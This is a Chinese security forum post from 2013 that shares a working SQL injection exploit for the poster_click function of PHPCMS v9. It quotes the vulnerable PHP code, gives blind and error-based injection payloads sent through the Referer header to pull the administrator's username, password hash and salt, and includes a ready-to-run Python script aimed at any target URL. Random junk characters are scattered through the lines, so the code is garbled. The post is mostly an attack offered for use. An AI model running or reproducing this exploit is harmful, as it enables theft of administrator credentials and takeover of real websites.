找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2371|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:7 c- m+ |* L2 t* }" V$ a3 n

4 z  j1 B) x$ R) t( t+ }. i问题函数\phpcms\modules\poster\index.php
1 v/ \3 F( l9 ~; b/ {7 Y0 `9 P/ K2 e6 l0 m6 r7 P9 N# E
public function poster_click() {
! k2 M4 r$ j- `$id = isset($_GET['id']) ? intval($_GET['id']) : 0;0 [' R+ [4 O- m6 G8 D  ^8 j
$r = $this->db->get_one(array('id'=>$id));
& J% A( o. ^$ s4 h6 M1 @; cif (!is_array($r) && empty($r)) return false;/ `" y& N5 x$ P! v+ a
$ip_area = pc_base::load_sys_class('ip_area');
+ E/ b" q; d+ M: p$ip = ip();9 B5 r0 v% w8 `9 v5 @
$area = $ip_area->get($ip);
/ e( ?' Y% E, q- P$username = param::get_cookie('username') ? param::get_cookie('username') : '';
3 M$ y" c& a5 c/ ?5 f$ ^9 F" J; pif($id) {
. g7 L$ G2 q  M2 l* k$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();, W& E- S4 C- {# P4 j8 y- \% F
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));: ?# H7 J/ a/ X9 L
}2 [/ d- Q3 a5 |; I+ y+ i
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));) ]) L  p7 w4 N$ C
$setting = string2array($r['setting']);6 t! ~# l9 V* t  o* X
if (count($setting)==1) {
( s+ V& m" w( x4 s$url = $setting['1']['linkurl'];1 S* `! O8 A3 A3 W6 h, D( {: V
} else {
6 O' U1 K$ s0 A2 C" t6 H$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];2 `% h+ s: F5 h. a5 [
}
0 o  j$ r  Y: Nheader('Location: '.$url);+ ]1 u- M! f) ?" c, l' k
}4 Q3 q( P. ~. @$ w' ^; t/ H5 Y6 N8 Z
3 D! ^% H9 V) K4 N7 y; L* b- I

3 {" x  Z+ X7 o# S( \, H9 L3 q8 I4 q0 {$ y0 _. Z$ E
利用方式:% J9 i( Y' e7 l8 m

' d9 r1 h. E) o6 z1、可以采用盲注入的手法:
6 B' a8 `1 u1 p0 g. x9 P5 g1 ^- X$ W( I$ F( ?1 O
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
  i# e; A' r' m+ s9 I6 x) V! m0 E& H( X
通过返回页面,正常与否一个个猜解密码字段。
( h4 d% O; i* `9 v! q  i/ K( d, k6 }7 E5 }
2、代码是花开写的,随手附上了:7 l1 `8 T: J& v1 `
/ {+ k% s& T, `; ~0 k
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 v2 }. f& A( |8 _6 {9 a: K0 N
/ ~7 m5 _% T# L; y2 G此方法是爆错注入手法,原理自查。
5 N+ `. U$ W$ z+ N+ \
7 s$ t9 T) B0 \. @: `+ C5 {+ N
# o, l( R* Y5 x! G/ }- T* q2 U! f, s$ I* V
利用程序:
" a$ k& z8 e9 R% D2 g( h9 `* H
" |3 B6 E, n9 W- k#!/usr/bin/env python
  j( l$ P# M* r) T+ q7 Vimport httplib,sys,re
" N- t7 t6 n: l. W' ?7 Q% R& x- k, Q% O4 j( p
def attack():  K1 r; w: p8 H9 E* ?# ]% R; X
print “Code by Pax.Mac Team conqu3r!”6 f. ^6 c$ Z$ N! W/ t  D1 y- A
print “Welcome to our zone!!!”
; o& m- U: r# c8 L+ J, N7 p- u4 ^url=sys.argv[1]
' L: _+ a6 s4 U: W) Y" hpaths=sys.argv[2]; e3 H) j% K% u% e, Y: T
conn = httplib.HTTPConnection(url)' e/ {$ l/ T" y" u- K* b- y2 Y
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
. E; J3 a4 Z5 t+ y0 [“Accept”: “text/plain”,* v# d- J$ a& X: s
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}0 S9 z* S0 T5 _' x3 m4 F# O4 P
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
; t+ _. i; C5 Vr1 = conn.getresponse()
: b4 u. g$ ~' d9 T* H( k2 \5 |7 ?datas=r1.read()
! n9 N, y0 E9 a8 o3 P3 `3 }0 h* ^datas=re.findall(r”Duplicate entry \’\w+’”, datas)
4 D1 x$ e! p2 \/ wprint datas[0]
5 L) q+ b0 G. H+ w' E# Mconn.close()
3 [/ C' z% U5 A% e1 Zif __name__==”__main__”:% X% e' j6 o: Z$ d8 s
if len(sys.argv)<3:
0 ?$ K( g  A, V+ Y& U1 n: B7 fprint “Code by Pax.Mac Team conqu3r”
' z- f- E* ?0 u3 U$ j7 Gprint “Usgae:”# e% C" d: Q' c" @6 z
print “    phpcmsattack.py   www.paxmac.org /”! E& [( }8 ^- N* K5 @: `9 b
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”+ ~# @. O3 T% u, N" t" O
sys.exit(1)4 n0 ~* a$ r' Z: K! z
attack(), V) J& ?6 n" S$ r, d+ R

; k* \& E5 b3 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表